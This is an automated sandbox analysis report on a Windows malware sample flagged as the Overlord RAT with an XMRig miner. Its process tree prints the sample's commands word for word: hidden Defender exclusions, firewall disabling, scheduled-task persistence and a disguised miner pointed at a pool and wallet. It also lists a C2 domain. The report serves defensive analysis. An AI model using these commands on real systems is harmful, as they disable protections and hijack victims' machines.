Overview

overview

10

Static

static

3

2026-11-10...at.exe

windows10-2004-x64

10

2026-11-10...at.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/11/2026, 19:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-10_d26cac3f341f9a28d153c9d19fbc53c7_akira_cobalt-strike_quasar-rat.exe
  • Size 789KB
  • Sample261111-xw36tabv2n
  • SHA256 5f84f437a101042a96febb7b28dc49ca5731fafb1f4b0a66503a81e4f5b8f9c8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionoverlordxmrigminerpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Family

  • overlord

C2

  • 734r7hw4s32wehashwdz273dn323eeasd.antimalwarediagnostics.st

Extracted

Family

  • overlord

C2

  • 734r7hw4s32wehashwdz273dn323eeasd.antimalwarediagnostics.st

Signatures

  • Family: Overlord

    Overlord is an open-source Windows RAT written in Golang.

    ratoverlord
  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detects Overlord RAT 2 IoCs
  • Custom signature
    Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 4 IoCs
  • Custom signature
    Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 2 IoCs
  • Custom signature
    Detects executables containing SQL queries to confidential data stores. Observed in infostealers 4 IoCs
  • Custom signature
    Detects executables containing URLs to raw contents of a Github gist 4 IoCs
  • XMRig Miner payload 10 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 47 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 2 IoCs
  • Modifies Windows Firewall 2 TTPs 20 IoCs
    defense_evasion
  • Executes a file named after a Windows system binary 1 TTPs 4 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 39 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security bypass 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Suspicious use of SetThreadContext 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 60 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-10_d26cac3f341f9a28d153c9d19fbc53c7_akira_cobalt-strike_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-10_d26cac3f341f9a28d153c9d19fbc53c7_akira_cobalt-strike_quasar-rat.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\python.exe" C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\loader.py
      2⤵
      • Executes a file named after a Windows system binary
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'powershell.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'AntiMalwareServiceExecutable.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3900
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Notepad.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2308
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'cmd.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'svhost.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsSecurityService.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"$env:LOCALAPPDATA\Temp\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4296
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"$env:APPDATA\Microsoft\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath \"$env:USERPROFILE\Downloads\" -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1728
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:4764
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /F /IM Telegram.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4676
        • C:\Users\Admin\AppData\Local\Temp\AntiMalwareServiceExecutable.exe
          C:\Users\Admin\AppData\Local\Temp\AntiMalwareServiceExecutable.exe
          3⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2456
          • C:\Windows\system32\notepad.exe
            "C:\Windows\system32\notepad.exe" --donate-level 3 -o xmr.kryptex.network:7029 -u 85qjhfomDL9TTq4hy28s2nLBzEeGUPYdDguCZ4TPCS9EgmGSNobJikH1oigmpYJFFF1igvJHMJxX4WJcL3fPRkCx2qTHPWR -p x --cpu-max-threads-hint=100 -a rx/0 --http-port 8888
            4⤵
            • Suspicious use of FindShellTrayWindow
            PID:824
          • C:\Windows\system32\notepad.exe
            "C:\Windows\system32\notepad.exe" --donate-level 3 -o xmr.kryptex.network:7029 -u 85qjhfomDL9TTq4hy28s2nLBzEeGUPYdDguCZ4TPCS9EgmGSNobJikH1oigmpYJFFF1igvJHMJxX4WJcL3fPRkCx2qTHPWR -p x --cpu-max-threads-hint=100 -a rx/0 --http-port 8888
            4⤵
            • Suspicious use of FindShellTrayWindow
            PID:3716
        • C:\Users\Admin\AppData\Local\Temp\svhost.exe
          C:\Users\Admin\AppData\Local\Temp\svhost.exe
          3⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Checks processor information in registry
          • Suspicious use of WriteProcessMemory
          PID:4796
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svhost.exe.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'svhost.exe_139cb51b' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:400
        • C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe
          C:\Users\Admin\AppData\Local\Temp\SecurityHealthService.exe
          3⤵
          • Executes a file named after a Windows system binary
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4704
          • C:\Windows\system32\schtasks.exe
            "schtasks" /Delete /TN MicrosoftEdgeUpdateTaskMachine /F
            4⤵
              PID:4956
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'SecurityHealthService.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2328
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4040
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4292
            • C:\Windows\system32\schtasks.exe
              "schtasks" /Create /TN MicrosoftEdgeUpdateTaskMachineCore /XML C:\Users\Admin\AppData\Local\Temp\task.xml /F
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1636
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3980
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2464
            • C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe"
              4⤵
              • Executes dropped EXE
              PID:2188
          • C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe
            C:\Users\Admin\AppData\Local\Temp\WindowsSecurityService.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1068
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1292
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsSecurityService.exe' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2396
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'pawns-sdk.dll' -ErrorAction SilentlyContinue"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4632
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall set allprofiles state off
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1004
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall set allprofiles settings notifyonlisten disable
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:3180
            • C:\Windows\system32\reg.exe
              "reg" add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
              4⤵
              • Windows security bypass
              PID:3692
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_In
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:2076
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_Out
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4512
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_In
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:3892
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_Out
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:2288
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4244
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1292
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:3996
            • C:\Windows\system32\netsh.exe
              "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
              4⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:4428
            • C:\Windows\system32\schtasks.exe
              "schtasks" /Create /TN MicrosoftSecurityHealthService /XML C:\Users\Admin\AppData\Local\Temp\task.xml /F
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3096
            • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Reads the TCP/IP host and domain name from the registry
              • Suspicious use of WriteProcessMemory
              PID:4676
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft' -ErrorAction SilentlyContinue"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4380
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'WindowsSecurityService.exe' -ErrorAction SilentlyContinue"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4552
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'pawns-sdk.dll' -ErrorAction SilentlyContinue"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:384
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall set allprofiles state off
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:380
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall set allprofiles settings notifyonlisten disable
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:592
              • C:\Windows\system32\reg.exe
                "reg" add "HKLM\SOFTWARE\Microsoft\Security Center" /v FirewallDisableNotify /t REG_DWORD /d 1 /f
                5⤵
                • Windows security bypass
                PID:4132
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_In
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:632
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Exe_Out
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:512
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_In
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4580
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall delete rule name=PawnsSDK_Dll_Out
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:3028
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:3208
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Exe_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe enable=yes profile=any
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:4300
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_In dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:368
              • C:\Windows\system32\netsh.exe
                "netsh" advfirewall firewall add rule name=PawnsSDK_Dll_Out dir=out action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\pawns-sdk.dll enable=yes profile=any
                5⤵
                • Modifies Windows Firewall
                • Event Triggered Execution: Netsh Helper DLL
                PID:980
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:2856
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:3928
          • C:\Users\Admin\AppData\Roaming\Microsoft\AntiMalwareServiceExecutable.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\AntiMalwareServiceExecutable.exe
            1⤵
            • Executes dropped EXE
            PID:4552
          • C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe
            1⤵
            • Executes a file named after a Windows system binary
            • Executes dropped EXE
            PID:2904
          • C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
            C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityService.exe
            1⤵
            • Executes dropped EXE
            PID:4824

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Create or Modify System Process

                1
                T1543

                Windows Service

                1
                T1543.003

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Create or Modify System Process

                1
                T1543

                Windows Service

                1
                T1543.003

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Impair Defenses

                2
                T1562

                Disable or Modify System Firewall

                1
                T1562.004

                Disable or Modify Tools

                1
                T1562.001

                Masquerading

                1
                T1036

                Match Legitimate Name or Location

                1
                T1036.005

                Modify Registry

                1
                T1112

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                5
                T1552

                Credentials In Files

                4
                T1552.001

                Credentials in Registry

                1
                T1552.002

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                1
                T1082

                System Network Configuration Discovery

                1
                T1016

                Lateral Movement

                Collection

                Data from Local System

                4
                T1005

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 f84df996802a7b65b0a58ecd1960f157bdc82f817bae81409eb4184e438ed9b8
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 ca0dfe104c1bf27f7e01999fcdabc16c6400c3da937c832c26bdbca322381d31
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 0e1f0e684adb40a5d0668df5fed007c9046137d7ae16a1f2f343b139d5f9bc93
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 719589acc67594a2add00dca3c097551163199edbdd59a7f62f783871ef96e17
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_0loyemir.o10.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0loyemir.o10.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                BackupRegister.xlsx
                • Path C:\Users\Admin\AppData\Roaming\Microsoft Store\BackupRegister.xlsx
                • Size 10KB
                • SHA256 23ddd734dfb812e34e17ff731d08c9aae4575503b8ad26fe332df8de8431c08b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                svhost.exe.exe
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\svhost.exe.exe
                • Size 10.5MB
                • SHA256 59612f52b72988c5028f549c97926755c6ced681708793cb8d052b2bd3a5d68b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                AES.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Cipher\AES.py
                • Size 12KB
                • SHA256 9d07a7461db781b5fd107589bebeb118e69686ef292930039159f08f9cbe6612
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __init__.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Cipher\__init__.py
                • Size 4KB
                • SHA256 d7f7c98b77761b301d1636b425af5c75cb72095d9083ec23da503c7509c6f02b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __init__.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Random\__init__.py
                • Size 1KB
                • SHA256 28f3d1bda93153c01b49e06d292f681e538d729954582b88d628800a960eeaba
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __init__.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\__init__.py
                • Size 1KB
                • SHA256 8c875b3fbd34cc64eb65016e7a598389a54cb8df2370b249b6201e40afc97b12
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                _cpu_features.py
                • Path C:\Users\Admin\AppData\Roaming\Microsoft\SystemCache\Crypto\Util\_cpu_features.py
                • Size 2KB
                • SHA256 d82732265751f753a19dfa4dc48a312267e992110d39cce5be9adf828ba0fcd4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                _cpuid_c.pyd
